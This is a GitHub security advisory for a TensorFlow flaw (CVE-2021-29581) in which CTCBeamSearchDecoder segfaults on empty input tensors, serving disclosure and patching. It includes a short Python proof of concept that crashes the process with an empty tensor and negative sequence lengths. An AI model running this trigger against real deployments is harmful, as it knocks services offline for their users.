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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZxMnItNXh2bS0zaGMz

Segfault in `CTCBeamSearchDecoder`

Impact

Due to lack of validation in tf.raw_ops.CTCBeamSearchDecoder, an attacker can trigger denial of service via segmentation faults:

import tensorflow as tf

inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True

tf.raw_ops.CTCBeamSearchDecoder(
  inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
  top_paths=top_paths, merge_repeated=merge_repeated)

The implementation fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.

Patches

We have patched the issue in GitHub commit b1b323042264740c398140da32e93fb9c2c9f33e.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Permalink: https://github.com/advisories/GHSA-vq2r-5xvm-3hc3
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXZxMnItNXh2bS0zaGMz
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: about 2 years ago
Updated: 4 months ago

CVSS Score: 2.5
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Identifiers: GHSA-vq2r-5xvm-3hc3, CVE-2021-29581
References:

• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vq2r-5xvm-3hc3
• https://nvd.nist.gov/vuln/detail/CVE-2021-29581
• https://github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e
• https://github.com/advisories/GHSA-vq2r-5xvm-3hc3

Affected Packages